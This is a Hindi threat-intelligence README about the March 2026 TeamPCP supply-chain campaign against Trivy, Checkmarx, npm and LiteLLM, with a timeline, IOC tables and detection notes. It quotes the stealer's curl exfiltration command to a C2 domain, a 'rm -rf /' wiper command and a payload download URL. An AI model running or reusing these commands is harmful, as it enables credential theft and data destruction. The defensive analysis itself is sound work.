
CVE-2026-33634 (CVSS 9.4) — अब तक का 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।
CVE-2026-33634 (CVSS 9.4) — अब तक 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।
19–25 मार्च, 2026 के बीच, खतरा अभिनेता TeamPCP (जिसे DeadCatx3, PCPcat, ShellForce, CanisterWorm के रूप में भी ट्रैक किया जाता है) ने पाँच पारिस्थितिकी तंत्रों में कैस्केडिंग सप्लाई चेन समझौता किया: GitHub Actions, Docker Hub, OpenVSX, npm, और PyPI। एक एकल अधूरे-रोटेटेड GitHub PAT से शुरू होकर, यह अभियान दो प्रमुख ओपन-सोर्स सुरक्षा विक्रेताओं (Aqua Security और Checkmarx), चार GitHub Actions रिपॉजिटरी, दो VS Code एक्सटेंशन, कंटेनर रजिस्ट्री और 66+ npm पैकेजों में फैल गया।
यह रिपॉजिटरी संपूर्ण तकनीकी विवरण, क्यूरेटेड IOC सूचियाँ (FP-परीक्षित), और Microsoft Defender XDR में तैनाती के लिए तैयार डिटेक्शन क्वेरी प्रदान करता है।
मूल कारण: 28 फरवरी के उल्लंघन के बाद अधूरा क्रेडेंशियल रोटेशन। aqua-bot सेवा खाते का PAT या तो रद्द नहीं किया गया था या हमलावर ने रोटेशन के दौरान नया टोकन देख लिया था।
TeamPCP ने इस बनाए रखी गई पहुँच का उपयोग संस्करण टैग को दुर्भावनापूर्ण नकली कमिट में फोर्स-पुश करने के लिए किया। प्रत्येक जाली कमिट ने मूल के मेटाडेटा (लेखक, टाइमस्टैम्प, संदेश) की नकल की, जबकि एंट्री पॉइंट स्क्रिप्ट को स्टीलर पेलोड से बदल दिया। GitHub के रिलीज़ पेज में कोई दृश्य परिवर्तन नहीं दिखा — यहाँ तक कि "Immutable" बैज भी सामान्य रूप से प्रदर्शित हुआ।
स्टीलर — एक 204-पंक्ति entrypoint.sh जो स्वयं को "TeamPCP Cloud stealer" के रूप में पहचानता है — तीन-चरणीय हमला चलाता है:
चरण 1: मेमोरी स्क्रैपिंग
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
चरण 2: फाइलसिस्टम क्रेडेंशियल स्वीप
50+ संवेदनशील पथों को स्कैन करता है, जिनमें शामिल हैं:
~/.ssh/*)~/.npmrc).env फ़ाइलेंचरण 3: एन्क्रिप्टेड बहिर्निकासी
tpcp.tar.gz में बंडल करता हैcurl POST के माध्यम से बहिर्निकासी करता हैGITHUB_TOKEN का उपयोग करके पीड़ित के GitHub खाते में tpcp-docs या docs-tpcp रिपॉजिटरी बनाता हैगैर-CI Linux सिस्टम पर, मैलवेयर:
~/.config/sysmon/ बनाता हैsysmon.py) छोड़ता हैTrivy लहर से चुराए गए क्रेडेंशियल ने Checkmarx के पारिस्थितिकी तंत्र के समझौते को सक्षम किया। प्रत्येक नई लहर ने पिछली लहर के ब्लॉकलिस्ट से बचने के लिए एक अलग टाइपोस्क्वाट C2 डोमेन का उपयोग किया:
| लहर | C2 डोमेन | टाइपोस्क्वाट ऑफ़ |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| एक्सटेंशन | दुर्भावनापूर्ण संस्करण | सुरक्षित संस्करण |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
दोनों एक्सटेंशन 23 मार्च को 12:53 UTC पर 12 सेकंड के अंतराल पर ast-phoenix खाते के माध्यम से प्रकाशित किए गए। सक्रियण पर, environmentAuthChecker.js क्लाउड प्रदाता क्रेडेंशियल की जाँच करता है, फिर checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz से दूसरे चरण का स्टीलर खींचता है।
| इमेज | दुर्भावनापूर्ण टैग |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| पैकेज | संस्करण | बैकडोर युक्त फ़ाइल |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
K8s पार्श्व गति टूलकिट के साथ ट्रिपल-नेस्टेड base64 पेलोड। checkmarx.zone/raw को पोल करने वाले sysmon.service के माध्यम से स्थायित्व।
सभी लहरों में बहिर्निकासी पैटर्न समान है:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
टाइपोस्क्वाट डोमेन रणनीति जानबूझकर की गई है: CI/CD लॉग की समीक्षा करने वाला एक विश्लेषक curl ट्रैफ़िक को ऐसे डोमेन पर देखता है जो एक्शन के अपने विक्रेता डोमेन जैसा दिखता है। सावधानीपूर्वक तुलना के बिना, त्वरित लॉग समीक्षा में scan.aquasecurtiy.org को aquasecurity.org मान लिया जाता है।
केवल हमलावर ही चुराए गए डेटा को डिक्रिप्ट कर सकता है — AES सत्र कुंजी उनकी सार्वजनिक कुंजी के साथ RSA-OAEP एन्क्रिप्टेड है।
Trivy समझौते के 24 घंटों के भीतर, चुराए गए npm टोकन ने 66+ पैकेजों (141 दुर्भावनापूर्ण आर्टिफैक्ट) में स्व-प्रसारित होने वाला वर्म सक्षम किया।
CanisterWorm को उल्लेखनीय क्या बनाता है:
tdtqy-oyaaa-aaaae-af2dq-cai पर स्थित कैनिस्टर एक विकेंद्रीकृत स्मार्ट कॉन्ट्रैक्ट है — कोई एकल टेकडाउन पॉइंट नहींget_latest_link, http_request, update_linkyoutube.com युक्त URL लौटाता है, तो बैकडोर सो जाता हैpgmon (PostgreSQL मॉनिटरिंग) के रूप में प्रच्छन्न systemd उपयोगकर्ता सेवा/tmp/pglog में छोड़ी गई, स्थिति /tmp/.pg_state में ट्रैक की जाती हैज्ञात समझौता किए गए स्कोप: @emilgroup/*, @teale.io/* (@teale.io/eslint-config v1.8.11, v1.8.12 में स्व-प्रसारित वैरिएंट)
एक विनाशकारी वैरिएंट विशेष रूप से ईरानी प्रणालियों को लक्षित करता है:
kamikaze नामक कंटेनर के माध्यम से वाइप और फोर्स-रीबूट करता हैrm -rf / --no-preserve-root निष्पादित करता हैपता लगाना सिस्टम टाइमज़ोन और लोकेल जाँच के माध्यम से होता है।
नियम नाम: TeamPCP Supply Chain C2 and Malware IOC Match
गंभीरता: उच्च
श्रेणी: CommandAndControl
आवृत्ति: हर 1 घंटे
पूर्ण KQL क्वेरी के लिए detection/defender_xdr_query.kql देखें।
क्वेरी निम्नलिखित को कवर करती है:
इम्पोर्ट के लिए तैयार CSV iocs/FINAL_TeamPCP_IOC_25Mar2026.csv पर प्रदान किया गया है। इस फ़ाइल का प्रोडक्शन एंटरप्राइज़ वातावरण के विरुद्ध FP-परीक्षण किया गया है।
| प्लेटफ़ॉर्म | डिटेक्शन |
|---|---|
| Palo Alto Cortex XDR | नियम ioc.linux.shaihulud.2 — GitHub Action रनर पर क्रेडेंशियल-एक्सेस |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, Curl Exfiltrating File, |
| URL | कार्य |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | दूसरे चरण का पेलोड डाउनलोड |
checkmarx[.]zone/vsx |
| नाम | लहर |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
इस रिपॉजिटरी में डिटेक्शन क्वेरी और IOC CSV का परीक्षण निम्नलिखित चलाने वाले प्रोडक्शन वातावरण के विरुद्ध किया गया है:
निम्नलिखित IOC को पुष्टि किए गए गलत सकारात्मक (false positives) के कारण हटा दिया गया:
MIT — स्वतंत्र रूप से उपयोग करें, साझा करें, अनुकूलित करें। एट्रिब्यूशन की सराहना की जाती है।
लेखक: Ugur Can Ates — SOC टीम लीड और वरिष्ठ सुरक्षा इंजीनियर
अंतिम अपडेट: 25 मार्च, 2026
| दिनांक (UTC) | घटना |
|---|
| 20 फरवरी, 2026 | hackerbot-claw खाता बनाया गया; शोषण योग्य pull_request_target वर्कफ़्लो के लिए रिपॉजिटरी स्कैन करना शुरू |
| 28 फरवरी, 2026 | PWN अनुरोध के माध्यम से पहला Trivy समझौता; क्रेडेंशियल बाहर निकाले गए |
| 1 मार्च, 2026 | Aqua Security ने रोकथाम का प्रयास किया — क्रेडेंशियल रोटेशन अधूरा |
| 19 मार्च, 17:43 | मुख्य हमला: TeamPCP ने समझौता किए गए aqua-bot सेवा खाते के माध्यम से aquasecurity/trivy-action में 75/76 टैग + setup-trivy के सभी 7 टैग फोर्स-पुश किए |
| 19 मार्च, 18:22 | बैकडोर युक्त Trivy v0.69.4 GitHub Releases, Docker Hub, GHCR, ECR पर प्रकाशित |
| 20 मार्च, 05:40 | Trivy-action समझौता विंडो बंद (~12 घंटे) |
| 20 मार्च, 20:45 | CanisterWorm npm में फैलता हुआ पाया गया — 47+ पैकेज समझौता |
| 22 मार्च, 20:31 | TeamPCP ने स्क्रिप्टेड 2-मिनट के विस्फोट में aquasec-com GitHub org के सभी 44 रिपॉजिटरी को विकृत किया |
| 22 मार्च | समान स्टीलर पेलोड के साथ Docker Hub इमेज 0.69.5 और 0.69.6 पुश की गईं |
| 23 मार्च, 02:53 | Checkmarx लहर शुरू: ast-phoenix खाते के माध्यम से दुर्भावनापूर्ण ast-results v2.53.0 और cx-dev-assist v1.7.0 OpenVSX पर प्रकाशित |
| 23 मार्च, 12:58 | समझौता किए गए cx-plugins-releases खाते के माध्यम से Checkmarx/kics-github-action के सभी 35 टैग फोर्स-पुश |
| 23 मार्च, 15:41 | Checkmarx ने OpenVSX समस्या हल होने की रिपोर्ट दी |
| 23 मार्च, 16:50 | उपयोगकर्ता रिपोर्ट के बाद KICS GitHub Action को हटाया गया |
| 23 मार्च, 22:25 | Sysdig ने रिपोर्ट किया कि Checkmarx/ast-github-action v2.3.28 भी समझौता किया गया |
| 24 मार्च, 08:30 | LiteLLM लहर: चुराए गए क्रेडेंशियल का उपयोग करके ट्रोजन युक्त litellm v1.82.7 और v1.82.8 PyPI पर प्रकाशित |
| 24 मार्च, 11:25 | PyPI ने दुर्भावनापूर्ण LiteLLM संस्करणों को क्वारंटीन किया |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| रिपॉजिटरी | समझौता किए गए टैग | एक्सपोज़र विंडो (UTC) | एंट्री पॉइंट |
|---|
aquasecurity/trivy-action | 76 में से 75 (सुरक्षित: 0.35.0) | 19 मार्च 17:43 – 20 मार्च 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | सभी 7 टैग | 19 मार्च 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | सभी 35 टैग | 23 मार्च 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (संभवतः सभी) | 23 मार्च ~22:25+ | setup.sh |
Exfiltration of AWS IMDS Credentials Using LOTL Binary| हैश | विवरण | स्रोत |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Trivy दुर्भावनापूर्ण entrypoint.sh | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm लहर 4 — अंतिम रूप | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm लहर 3 — स्व-प्रसार परीक्षण | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm लहर 2 — सशस्त्र ICP बैकडोर | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm लहर 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm लहर 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm लहर 3+ — deploy.js मिनिफाइड | Aikido Security |
| इंडिकेटर | प्रकार | उद्देश्य |
|---|
83.142.209.11 | IP | C2 सर्वर (checkmarx.zone) |
45.148.10.212 | IP | C2 सर्वर (scan.aquasecurtiy.org) |
checkmarx[.]zone | डोमेन | C2 — Checkmarx/KICS/LiteLLM लहर |
scan.aquasecurtiy[.]org | डोमेन | C2 — Trivy लहर |
models.litellm[.]cloud | डोमेन | C2 — LiteLLM PyPI लहर |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | डोमेन | ICP कैनिस्टर डेड-ड्रॉप C2 |
| बहिर्निकासी एंडपॉइंट |
checkmarx[.]zone/raw | स्थायित्व पोलिंग (50 मिनट) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | ICP कैनिस्टर C2 |
| पथ | उद्देश्य |
|---|
~/.config/sysmon/ | बैकडोर निर्देशिका |
~/.config/sysmon.py | Python बैकडोर |
~/.config/systemd/user/sysmon.service | Systemd स्थायित्व |
~/.config/systemd/user/pgmon.service | CanisterWorm स्थायित्व (PostgreSQL प्रच्छन्नता) |
/tmp/pglog | डाउनलोड की गई बाइनरी |
/tmp/.pg_state | C2 पोलिंग स्थिति |
| IOC | FP स्रोत |
|---|
setup.sh (फ़ाइलनाम) | Ansible कलेक्शन, Claude Code प्लगिन कैश, Bitnami स्क्रिप्ट |
service.py (फ़ाइलनाम) | Ansible module_utils, protobuf, boto3, FreeIPA, K8s कोर |
deploy.js (फ़ाइलनाम) | मानक npm/node फ़ाइल |
169.254.169.254 (IMDS IP) | FortiMonitor एजेंट, Oracle AHF — वैध मॉनिटरिंग |
icp0.io (पैरेंट डोमेन) | बहुत व्यापक, वैध ICP ट्रैफ़िक पकड़ता है |
hooks.slack.com (cmdline) | वैध Slack इंटीग्रेशन |
discord.com/api/webhooks (cmdline) | वैध Discord इंटीग्रेशन |
| तकनीक | ID | संदर्भ |
|---|
| सप्लाई चेन समझौता: सॉफ़्टवेयर निर्भरताएँ | T1195.002 | GitHub Actions टैग पॉइज़निंग, OpenVSX, npm, PyPI |
| असुरक्षित क्रेडेंशियल: क्लाउड इंस्टेंस मेटाडेटा API | T1552.005 | CI रनर से AWS IMDS चोरी |
| पासवर्ड स्टोर से क्रेडेंशियल | T1555 | फाइलसिस्टम क्रेडेंशियल स्वीप (50+ पथ) |
| OS क्रेडेंशियल डंपिंग | T1003 | Runner.Worker /proc/mem स्क्रैपिंग |
| C2 चैनल पर बहिर्निकासी | T1041 | टाइपोस्क्वाट डोमेन पर एन्क्रिप्टेड tpcp.tar.gz |
| वेब सेवा | T1102 | ICP कैनिस्टर डेड-ड्रॉप C2 |
| Systemd सेवा | T1543.002 | pgmon.service, sysmon.service स्थायित्व |
| इनग्रेस टूल ट्रांसफर | T1105 | checkmarx-util-1.0.4.tgz डाउनलोड |
| इंफ्रास्ट्रक्चर अधिग्रहण: डोमेन | T1583.001 | प्रति-लहर टाइपोस्क्वाट डोमेन |
| स्रोत | लिंक |
|---|